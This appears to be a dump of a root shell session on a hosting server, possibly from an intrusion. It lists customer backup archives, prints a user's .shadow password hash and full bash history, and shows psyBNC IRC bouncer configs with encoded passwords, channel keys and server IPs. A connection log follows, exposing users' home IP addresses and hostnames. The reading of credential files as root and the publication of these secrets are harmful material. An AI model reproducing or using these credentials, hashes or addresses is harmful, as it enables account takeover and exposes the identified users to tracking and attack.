drwxr-xr-x 6 admin admin             4096 Feb  1 03:03 ..
-rw-r----- 1 admin felosi           11560 Sep 14  2007 admin.admin.felosi.tar.gz
-rw-r----- 1 admin admin      11404750600 Dec 18 21:28 admin.root.admin.tar.gz
-rw-r----- 1 admin admin         35395367 Aug 11  2007 reseller.admin.aaatrans.tar.gz
-rw-r----- 1 admin        535  2166835881 Sep 14  2007 reseller.admin.bwhost.tar.gz
-rw-r----- 1 admin        503       27875 Sep 14  2007 reseller.admin.llythexic.tar.gz
-rw-r----- 1 admin        549     8597301 Sep 14  2007 reseller.felosi.brinkhos.tar.gz
-rw-r----- 1 admin        552     5638521 Sep 14  2007 reseller.felosi.burn.tar.gz
-rw-r----- 1 admin alliancedn      264984 Dec 30 16:29 user.admin.alliancedn.tar.gz
-rw-r----- 1 admin aosw         541773752 Sep 14  2007 user.admin.aosw.tar.gz
-rw-r----- 1 admin        532    28274761 Sep 14  2007 user.admin.aryan88.tar.gz
-rw-r----- 1 admin        538   518730829 Dec 30 16:29 user.admin.asbestos.tar.gz
-rw-r----- 1 admin barnseo       16041617 Dec 18 21:29 user.admin.barnseo.tar.gz
-rw-r----- 1 admin bnc            2082640 Dec 30 16:29 user.admin.bnc.tar.gz
-rw-r----- 1 admin bored          3830711 Dec 18 21:29 user.admin.bored.tar.gz
-rw-r----- 1 admin churc0         4341166 Dec 18 21:29 user.admin.churc0.tar.gz
-rw-r----- 1 admin connors         652449 Dec 18 21:29 user.admin.connors.tar.gz
-rw-r----- 1 admin dougie      5454961654 Dec 30 16:37 user.admin.dougie.tar.gz
-rw-r----- 1 admin        558    20340587 Dec 18 21:37 user.admin.earn.tar.gz
-rw-r----- 1 admin egg            5530647 Dec 30 16:37 user.admin.egg.tar.gz
-rw-r----- 1 admin every        323268270 Dec 30 16:37 user.admin.every.tar.gz
-rw-r----- 1 admin evilcode    1607382248 Dec 30 16:40 user.admin.evilcode.tar.gz
-rw-r----- 1 admin excodeirc    113123361 Dec 30 16:41 user.admin.excodeirc.tar.gz
-rw-r----- 1 admin exploiterc   273460363 Dec 18 21:43 user.admin.exploiterc.tar.gz
-rw-r----- 1 admin felosii         202367 Dec 18 21:43 user.admin.felosii.tar.gz
-rw-r----- 1 admin g00ns83     1922138751 Dec 30 16:44 user.admin.g00ns83.tar.gz
-rw-r----- 1 admin g00nsts395     5616214 Dec 30 16:44 user.admin.g00nsts395.tar.gz
-rw-r----- 1 admin grumpy       207859624 Dec 30 16:44 user.admin.grumpy.tar.gz
-rw-r----- 1 admin        516      988823 Sep 14  2007 user.admin.hackersd.tar.gz
-rw-r----- 1 admin hackrad      371198425 Dec 30 16:45 user.admin.hackrad.tar.gz
-rw-r----- 1 admin        517     2334763 Dec 18 21:48 user.admin.high.tar.gz
-rw-r----- 1 admin illmob       593721185 Dec 30 16:46 user.admin.illmob.tar.gz
-rw-r----- 1 admin        519   104101941 Dec 18 21:49 user.admin.leetmach.tar.gz
-rw-r----- 1 admin mycorp          147245 Dec 30 16:46 user.admin.mycorp.tar.gz
-rw-r----- 1 admin partyvan     327144959 Dec 30 16:46 user.admin.partyvan.tar.gz
-rw-r----- 1 admin pingyill      30825336 Dec 30 16:47 user.admin.pingyill.tar.gz
-rw-r----- 1 admin ragedns      189555066 Dec 30 16:47 user.admin.ragedns.tar.gz
-rw-r----- 1 admin rageserver      255007 Dec 30 16:47 user.admin.rageserver.tar.gz
-rw-r----- 1 admin robo            290786 Dec 30 16:47 user.admin.robo.tar.gz
-rw-r----- 1 admin shoutcas     385370416 Dec 30 16:48 user.admin.shoutcas.tar.gz
-rw-r----- 1 admin sn00g3s      269230557 Dec 30 16:49 user.admin.sn00g3s.tar.gz
-rw-r----- 1 admin        524  1468386072 Sep 14  2007 user.admin.vg114.tar.gz
-rw-r----- 1 admin void             14594 Dec 30 16:49 user.admin.void.tar.gz
-rw-r----- 1 admin        548    75815612 Sep 14  2007 user.admin.yourgift.tar.gz
-rw-r----- 1 admin        551      626926 Sep 14  2007 user.brinkhos.bayw.tar.gz
-rw-r----- 1 admin        555       30546 Sep 14  2007 user.burn.kid652.tar.gz
-rw-r----- 1 admin        553       27271 Sep 14  2007 user.burn.lucasl123.tar.gz
-rw-r----- 1 admin        554       24648 Sep 14  2007 user.burn.rsuchow.tar.gz
-rw-r----- 1 admin        533   308158933 Sep 14  2007 user.bwhost.assault.tar.gz
-rw-r----- 1 admin        526     4716486 Sep 14  2007 user.bwhost.ballardt.tar.gz
-rw-r----- 1 admin        527   175245944 Sep 14  2007 user.bwhost.darkstorm.tar.gz
-rw-r----- 1 admin        528      597461 Sep 14  2007 user.bwhost.mffclan.tar.gz
-rw-r----- 1 admin        529   540182805 Sep 14  2007 user.bwhost.squad.tar.gz
-rw-r----- 1 admin        530      903208 Sep 14  2007 user.bwhost.tnpreacher.tar.gz
-rw-r----- 1 admin        531    71751894 Sep 14  2007 user.bwhost.xlostboyx.tar.gz
-rw-r----- 1 admin        550     8486403 Sep 14  2007 user.felosi.prox.tar.gz
[root@demon2 admin]# ls -al backups
total 8
drwx------  2 admin admin 4096 Aug  1  2007 .
drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..
[root@demon2 admin]# cat .shadow
$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/
[root@demon2 admin]# cd ../bnc
[root@demon2 bnc]# ls -al
total 364
drwx--x--x  6 bnc  bnc    4096 Aug  8  2007 .
drwx--x--x 50 root root   4096 Mar 27 16:19 ..
-rw-------  1 bnc  bnc    6018 Apr 19 20:31 .bash_history
-rw-r--r--  1 bnc  bnc      24 Aug  3  2007 .bash_logout
-rw-r--r--  1 bnc  bnc     176 Aug  3  2007 .bash_profile
-rw-r--r--  1 bnc  bnc     124 Aug  3  2007 .bashrc
drwx--x--x  3 bnc  bnc    4096 Aug  3  2007 domains
drwxrwx---  3 bnc  mail   4096 Aug  3  2007 imap
drwx------  2 bnc  bnc    4096 Aug  3  2007 mail
drwxr-xr-x 12 bnc  bnc    4096 Apr 20 23:41 psybnc
-rw-rw-r--  1 bnc  bnc  311715 Jun  4  2005 psyBNC-2.3.2-7.tar.gz
lrwxrwxrwx  1 bnc  bnc      35 Aug  3  2007 public_html -> ./domains/bnc.g00ns.net/public_html
-rw-r-----  1 bnc  mail     34 Aug  3  2007 .shadow
[root@demon2 bnc]# cat .bash_history
cat
ls
ls public_html
cd public_html/
ls
nano index.html
cd $home
ls
mkdir bnc1
cd bnc1
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
cd psybnc
make menuconfig
./psybnc
./Psybnc
ls
make
./psybnc
./psybnc stop
ps -aux
kill 26364
ls
ps -aux
kill 26364
ls
ps -aux
kill 26364
ps -aux
ls
nano psybnc.conf
./psybnc
ps -aux
w
who
users
kill 26364
kill 26364
kill -i 26364
kill -9  26364
ps -au
ps -aux
cd $home
ls
rm -rf bnc1
users
wget http://www.psybnc.net/psyBNC-2.3.2-7.tar.gz
tar zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc
ls -al
make menuconfig
make menuconfig
make
./psybnc
ps =aux
ps
ps -a
ps -A
kill -9 3365
kill 3365
cd psybnc/
ls
pico psybnc.conf
text psybnc.conf
psybnc.conf
nano psybnc.conf
nano psybnc.conf
./[sybnc
./psybnc
w
ls
cd psybnc
ls
nano psybnc.conf
nano psybnc.conf
makesalt
./makesalt
cd tools
ls
cd ..
ls
cd scripts
ls
cd example/
ls
cd ..
cd ..
ls
cd help
ls
cat ADDUSER.TXT
cd ..
ls
nano psybnc.conf
ls
cd log
ls
cat psybnc.log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cd ..
ls
nano psybnc.conf
nano psybnc.conf
cd log
cat log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cd ..
ls
cd ..
ls
ps -aux
kill 4414
ps -aux
kill 4414
ps -aux
ls
rm -rf psybnc
ps -aux
kill 4414
ps -aux
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc
ls
make menuconfig
ls
make
ls
./psybnc
nano psybnc.conf
ps -aux
ps -aux
ls
rm -rf psybnc.pid
kill 1463
ps -aux
ls
kill 1463
ls
ps -aux
./psybnc restart
./psybnc psybnc.conf
ps -aux
kill 1463
ps -aux
ls
killall 1463
kill 1463
killall psybnc
ps -aux
kill -9 1463
ps -aux
./psybnc
ps -aux
kill -9 2455
ps -aux
nano psybnc.conf
nano psybnc.conf
./psybnc
cd log
nano log
ls
cat psybnc.log
cd ..
ls
nano psybnc.conf
cd ..
ls
rm -rf psybnc
tar zxvf psyBNC-2.3.2-7.tar.gz
ps -aux
kill -9 2558
cd psybnc
ls
make
ps -aux
nano psybnc.conf
nano psybnc.conf
./psybnc
cd psybnc
nano psybnc.conf
cp psybnc.conf psybnc.1.conf
ls
cd psybnc
ls
cp psybnc.conf psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
echo "" > psybnc.1.conf
nano psybnc.1.conf
./psybnc psybnc.1.conf
cd psybnc
ls
nano psybncchk
crontab -e
crontab -e
crontab -e
pwd
crontab -e
nano psybncchk
nano psybncchk
nano psybncchk
ps -aux
ps -aux
cd psybnc
cd log
ls
cat psybnc.log
cat psybnc.log
ls
cat USER1.TRL
cat USER2.TRL
cat USER3.LOG
cd ..
ls
cat psybnc.conf
cd log
cat psybnc.log
ls
cd ..
ls
nano psybnc.conf
nano psybnc.conf
nano psybnc.1.conf
nano psybnc.conf
cd tools
ls
cd ..
ls
cd key
ls
cd ..
ls
nano psybnc.1.conf
cd log
ls
cat psybnc.log
cd ..
ls
ps -aux
kill -9 3514
ps -aux
./psybnc psybnc.conf
ls
cd psybnc
ls
nano psybnc.1.conf
nano psybnc.1.conf
grep -rn 'version' *
ps -aux
nano psybnc.1.conf
nano psybnc.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
exit
crontab
crontab -h
crontab -l
ls
cd psybnc
ls
cp psybnc.1.conf psybnc.gso.conf
nano psybnc.gso.conf
nano psybnc.conf
nano psybnc.conf
nano psybnc.gso.conf
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
cat psybnc.conf
cd psybnc/
ls
nano psybnc.gso.conf
nano psybnc.conf
ls
w
who
users
ls psybnc
ls domains
ls public_html/
ps -aux
uptime
uname -a
ls
cd psybnc/
ls
mkdir probebnc
ls
cd probebnc
ls
ls
wget http://psybnc.info/download/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
./install
./setup
ls menuconf/
ls
cd $user
ls
cd psybnc
ls
rm -rf probebnc/
ps -aux
mkdir probe
ls
cd probe
ls
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
./install
./setup
./psybncchk
cd $user
ls
cd psybnc/
ls
rm -rf probe
ls
mkdir probe
cd probe
ls
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -xzvf psyBNC2.3.1.tar.gz
ls
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
nano config.h
make menuconfig
make
make menuconf
make menuconfig
ls
nano psybnc.conf
rm *
ls
rm -rf *
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
ls
cd $user
ls
cd psybnc/
ls
cd probe/
ls
rm -rf psybnc/
ls
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
nano config.h
make menuconfig
make
ls
cd $user/psybnc/probe
cd $user
ls
cd psybnc/
ls
cd probe/
ls
rm -rf psybnc/
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
make menuconfig
make
ls
./psybnc
cd
ps ax
kill -9 9128 12320 24226 28825
cd psybnc
ps ax
./psybnc psybnc.1.conf
./psybnc
./psybnc psybnc.gso.conf
cd
ls
exit
ls
cd psybnc
ls
head psybnc.1.conf
head psybnc.gso.conf
./psybnc psybnc.gso.conf
ps -aiux
ps -aux
ps -aux
kill 21054
kill -9 21054
./psybnc psybnc.gso.conf
ls
cd psy
cd psybnc/
ls
cd probe/
ls
cd psybnc/
ls
./psybnc
ps -aux
ls
nano psybnc.conf
nano psybnc.conf
nano psybnc.conf.old
nano config.h
nano psybnc.conf
nano log/psybnc.log
cd $user
ls
cd psybnc/
ls
cd probe
ls
rm -rf psybnc/
tar xzf psyBNC-2.3.2-7.tar.gz
ls
cd psy
cd psybnc
ls
./psybncchk
nano config.h
ls
nano REa
nano README
make menuconfig
make
ls
./psybnc
ps ax
kill 1536
ls
ps ax
kill 9672
ps ax
kill 9672
ps axc
ps ax
ls
./psybnc  psybnc.gso.conf
ps ax
kill 1536
ps ax
kill -s 1536
kill -9 9672
ps ax
kill -9 1536
ps ax
ls
./psybnc  psybnc.gso.conf
ps ax
ps ax
kill -9 21041
ps ax
kill -9 21047
ps ax
kill -9 24942
ps ax
ls
./psybnc psybnc.1.conf
ps ax
ls
./psybnc psybnc.gso.conf
ps ax
kill -9 ./psybnc psybnc.1.conf
kill -9 25484
kill -9 25512
ps ax
ls
./psybnc
cd help
ls
cd ..
ls
ps ax
./psybnc psybnc.1.conf
./psybnc
./psybnc psybnc.gso.conf
ps ax
ls
cd psybnc
ls
head psybnc.conf
head psybnc.1.conf
ls
cat psybnc.gso.conf
head psybnc.gso.conf
psybnc psybnc.gso.conf
ls
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
head psybnc.gso.con
head psybnc.gso.conf
psybnc psybnc.gso.conf
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
head psybnc.gso.conf
psybnc psybnc.gso.conf
./psybnc psybnc.gso.conf
ps -aux
kill -9 17551
ps -aux
./psybnc psybnc.gso.conf
ps -aux
ps -aux
who
last
ps -aux
head psybnc.gso.conf
cd psybnc
head psybnc.gso.conf
ls
head psybnc.conf
netstat | grep listen
netstat
kill -9 31328
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
cat psybnc.gso.conf
ls
cd psybnc/
ls
cat psybnc.gso.conf
[root@demon2 bnc]# cd psybnc
[root@demon2 psybnc]# ls
CHANGES   log           psybnc             psybnc.gso.conf.old  targets.mak
config.h  Makefile      psybnc.1.conf      psybnc.pid           TODO
COPYING   makefile.out  psybnc.1.conf.old  README               tools
FAQ       makesalt      psybncchk          salt.h
help      menuconf      psybnc.conf        SCRIPTING
key       motd          psybnc.conf.old    scripts
lang      probe         psybnc.gso.conf    src
[root@demon2 psybnc]# cat psybnc.1.conf
PSYBNC.SYSTEM.PORT1=11474
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=FiSh
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=g00ns.net
USER1.USER.LEAVEMSG=afk
USER1.USER.AWAYNICK=FiSh|bnc
USER1.USER.NICK=FiSh
USER1.SERVERS.SERVER1=S=irc.g00ns.net
USER1.SERVERS.PORT1=6601
USER1.CHANNELS.ENTRY3=#13337
USER1.CHANNELS.ENTRY6=#help
USER1.CHANNELS.ENTRY8=#notgay
USER1.CHANNELS.ENTRY1=#g00nspriv8
USER1.CHANNELS.ENTRY4=#batcave
USER1.CHANNELS.KEY4=+1I271$28262u2A2U2U
USER1.CHANNELS.ENTRY7=#exploitercode
USER1.CHANNELS.ENTRY12=#s3x
USER1.CHANNELS.KEY12=+1W202824
USER1.CHANNELS.ENTRY5=#g00ns
USER1.CHANNELS.ENTRY0=#illmob
USER1.CHANNELS.ENTRY2=#private
USER1.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A
USER1.CHANNELS.ENTRY9=#exopers
USER1.CHANNELS.ENTRY10=#irclogs
USER1.CHANNELS.KEY1=+1G2i2c2j2j2p2@
USER2.USER.LOGIN=sCuZz
USER2.USER.USER=sCuZz
USER2.USER.PASS=='R1n1b`W1B031K`=`O
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.VHOST=g00ns.net
USER2.USER.NICK=sCuZz
USER2.SERVERS.SERVER1=irc.g00ns.net
USER2.SERVERS.PORT1=6667
USER2.CHANNELS.ENTRY2=#private
USER2.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A
USER2.CHANNELS.ENTRY1=#batcave
USER2.CHANNELS.KEY1=+1I271$28262u2A2U2U
USER2.CHANNELS.ENTRY0=#g00ns
USER3.USER.LOGIN=giovanni
USER3.USER.USER=katalyst
USER3.USER.PASS=='E13`h0v0V`H1u0A'f
USER3.USER.RIGHTS=0
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.VHOST=g00ns.net
USER3.USER.NICK=giovanni
USER3.SERVERS.SERVER1=S=irc.g00ns.net
USER3.SERVERS.PORT1=6601
USER3.CHANNELS.ENTRY3=#seminar
USER3.CHANNELS.ENTRY0=#g00ns
USER3.CHANNELS.ENTRY1=#illmob
USER3.CHANNELS.ENTRY4=#13337
USER1.LGI.ENTRY1=FiSh;#private
USER1.LGI.ENTRY0=FiSh;#g00ns
USER4.USER.LOGIN=sick
USER4.USER.USER=sick
USER4.USER.PASS=='t'L0Q'F'q'b16'o`a
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=1
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=g00ns.net
USER4.USER.NICK=sick
USER4.SERVERS.SERVER1=addserver s=irc.g00ns.net
USER4.SERVERS.PORT2=6661
USER4.SERVERS.SERVER2=addserver irc.g00ns.net
USER4.SERVERS.PORT3=6601
USER4.SERVERS.SERVER3=addserver addserver S=irc.g00ns.net
USER4.SERVERS.PORT4=6601
USER4.SERVERS.SERVER4=addserver S=irc.g00ns.net
USER4.SERVERS.PORT5=6601
USER4.SERVERS.SERVER5=s=irc.g00ns.net
USER4.SERVERS.PORT6=6601
USER4.SERVERS.SERVER6=s=irc.g00ns.net
USER4.SERVERS.PORT1=6601
[root@demon2 psybnc]# cat psybnc.conf
PSYBNC.SYSTEM.PORT1=11473
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=FiSh
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=1
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=72.20.26.209
USER1.USER.NICK=_FiSh
USER2.USER.LOGIN=FiSh
USER2.USER.USER=FiSh
USER2.USER.PASS==0v0'01'T'q0='l`O'f
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.NICK=FiSh
USER3.USER.LOGIN=pr0be
USER3.USER.USER=pr0be
USER3.USER.PASS==1G0$0u10`N`C0B`X'`
USER3.USER.RIGHTS=0
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.VHOST=g00ns.net
USER3.USER.AWAY=|a|f|k
USER3.USER.NICK=pr0be
USER3.SERVERS.SERVER1=irc.g00ns.net
USER3.SERVERS.PORT2=6667
USER3.SERVERS.SERVER2=irc.g00ns.net
USER3.SERVERS.PORT3=6601
USER3.SERVERS.SERVER3=S=irc.g00ns.net
USER3.SERVERS.PORT1=6667
USER1.SERVERS.SERVER1=S=irc.g00ns.net
USER1.SERVERS.PORT1=6601
USER1.CHANNELS.ENTRY1=#g00ns
USER1.CHANNELS.ENTRY2=#13337
USER1.CHANNELS.ENTRY3=#40z
USER1.CHANNELS.KEY3=+1H2i262j2c2s2R2Y
USER1.CHANNELS.ENTRY4=#private
USER1.CHANNELS.KEY4=+1H2i25202i2j2A2M2E3125
USER1.CHANNELS.ENTRY5=#seminar
USER1.CHANNELS.ENTRY7=#help
USER4.USER.LOGIN=SyNiCaL
USER4.USER.USER=SyNiCaL
USER4.USER.PASS==0G'11d`h1G121n0G`'
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=1
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=g00ns.net
USER4.USER.NICK=SyNiCaL
USER3.CHANNELS.ENTRY2=#40z
USER3.CHANNELS.KEY2=+1H2i262j2c2s2R2Y
USER3.CHANNELS.ENTRY5=#wboard
USER3.CHANNELS.ENTRY7=#exploitercode
USER3.CHANNELS.ENTRY3=#vBTEAM
USER3.CHANNELS.ENTRY6=#BlackIRC
USER3.CHANNELS.ENTRY8=#slavehack
USER4.SERVERS.SERVER1=irc.g00ns.net
USER4.SERVERS.PORT1=6667
USER4.CHANNELS.ENTRY3=#sizzurp
USER4.CHANNELS.ENTRY4=#13337
[root@demon2 psybnc]# cat psybnc.gso.conf
PSYBNC.SYSTEM.PORT1=11475
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=Genocide
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=72.20.26.209
USER1.USER.LEAVEMSG=afk
USER1.USER.NICK=Genocide
USER1.SERVERS.PORT2=6667
USER1.SERVERS.PORT1=7001
USER1.SERVERS.SERVER1=S=irc.evilcoders.net
USER1.SERVERS.SERVER2=irc.g00ns.net
USER2.USER.LOGIN=sCuZz
USER2.USER.USER=sCuZz
USER2.USER.PASS=='q0N1q070I`I`O'W'y
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.VHOST=g00ns.net
USER2.USER.NICK=sCuZz
USER1.CHANNELS.ENTRY1=#s3x
USER1.CHANNELS.KEY1=+1W202824
USER1.CHANNELS.ENTRY3=#batcave
USER1.CHANNELS.KEY3=+1I271$28262u2A2U2U
USER1.CHANNELS.ENTRY7=#exopers
USER1.CHANNELS.ENTRY4=#notgay
USER1.CHANNELS.ENTRY9=#illmob
USER1.CHANNELS.KEY9=+1e2a1X2f2f2l1P2y2R
USER1.CHANNELS.ENTRY11=#t3st
USER1.CHANNELS.ENTRY10=#hightechhost
USER1.CHANNELS.ENTRY6=#420
USER1.CHANNELS.ENTRY2=#spk
USER1.CHANNELS.ENTRY0=#g00ns
USER2.SERVERS.SERVER1=irc.partyvan.fm
USER2.SERVERS.PORT1=6667
USER2.CHANNELS.ENTRY1=#420
USER2.CHANNELS.ENTRY2=#private
USER2.CHANNELS.KEY2=+1S282026242B2U2Q2F362@3B
USER2.CHANNELS.ENTRY3=#batcave
USER2.CHANNELS.ENTRY0=#g00ns
[root@demon2 psybnc]# cd log
[root@demon2 log]# ls
INFO            USER1.LOG.old  USER2.LOG.old  USER3.TRL      USER4.TRL
psybnc.log      USER1.TRL      USER2.TRL      USER4.LOG      USER5.TRL
psybnc.log.old  USER2.LOG      USER3.LOG.old  USER4.LOG.old  USER6.TRL
[root@demon2 log]# cat psybnc.log
Sat Apr 19 15:06:18 :Listener created :72.20.26.209 port 11475
Sat Apr 19 15:06:18 :psyBNC2.3.2-7-cBtITLdDMSNpE started (PID :14297)
Sat Apr 19 15:06:18 :SSL initialized
Sat Apr 19 15:06:18 :Loading all Users..
Sat Apr 19 15:06:23 :connect from 78.129.174.155
Sat Apr 19 15:06:23 :User admin () trying irc.evilcoders.net port 7001 (72.20.26.209).
Sat Apr 19 15:06:23 :User admin () connected to S=irc.evilcoders.net:7001 (72.20.26.209)
Sat Apr 19 15:06:23 :User admin got disconnected from server.
Sat Apr 19 15:06:31 :User admin logged in.
Sat Apr 19 15:06:38 :User sCuZz () trying irc.partyvan.fm port 6667 (g00ns.net).
Sat Apr 19 15:06:38 :User sCuZz () connected to irc.partyvan.fm:6667 (g00ns.net)
Sat Apr 19 15:06:53 :User admin () trying irc.g00ns.net port 6667 (72.20.26.209).
Sat Apr 19 15:06:53 :User admin () connected to irc.g00ns.net:6667 (72.20.26.209)
Sat Apr 19 15:43:14 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sat Apr 19 15:43:14 :User sCuZz logged in.
Sat Apr 19 18:09:32 :User sCuZz disconnected (from 71.105.242.232)
Sat Apr 19 20:31:32 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sat Apr 19 20:31:32 :User sCuZz logged in.
Sat Apr 19 20:47:24 :User sCuZz disconnected (from 71.105.242.232)
Sun Apr 20 00:20:44 :User admin quitted (from 78.129.174.155)
Sun Apr 20 08:58:52 :connect from prometheus.aakretech.no
Sun Apr 20 08:59:25 :User admin logged in.
Sun Apr 20 11:27:16 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sun Apr 20 11:27:16 :User sCuZz logged in.
Sun Apr 20 11:57:48 :User sCuZz disconnected (from 71.105.242.232)
Sun Apr 20 19:12:31 :User admin disconnected (from 69.60.116.169)
Sun Apr 20 21:42:46 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sun Apr 20 21:42:46 :User sCuZz logged in.
Sun Apr 20 23:21:59 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sun Apr 20 23:21:59 :User sCuZz logged in.
Sun Apr 20 23:24:04 :User sCuZz (sCuZz) disconnecting from stoned server.
Sun Apr 20 23:24:04 :User sCuZz got disconnected from server.
Sun Apr 20 23:24:15 :User sCuZz () trying p.60z.org port 6667 (g00ns.net).
Sun Apr 20 23:24:15 :User sCuZz () connected to p.60z.org:6667 (g00ns.net)
Sun Apr 20 23:24:29 :User sCuZz quitted (from 71.105.242.232)
Sun Apr 20 23:24:30 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sun Apr 20 23:24:30 :User sCuZz logged in.
Sun Apr 20 23:25:11 :Hop requested by sCuZz. Quitting.
Sun Apr 20 23:25:11 :User sCuZz got disconnected from server.
Sun Apr 20 23:25:15 :User sCuZz () trying irc.partyvan.fm port 6667 (g00ns.net).
Sun Apr 20 23:25:15 :User sCuZz () connected to irc.partyvan.fm:6667 (g00ns.net)
Sun Apr 20 23:25:20 :User sCuZz quitted (from 71.105.242.232)
Sun Apr 20 23:25:21 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net
Sun Apr 20 23:25:21 :User sCuZz logged in.
Sun Apr 20 23:33:04 :User sCuZz quitted (from 71.105.242.232)
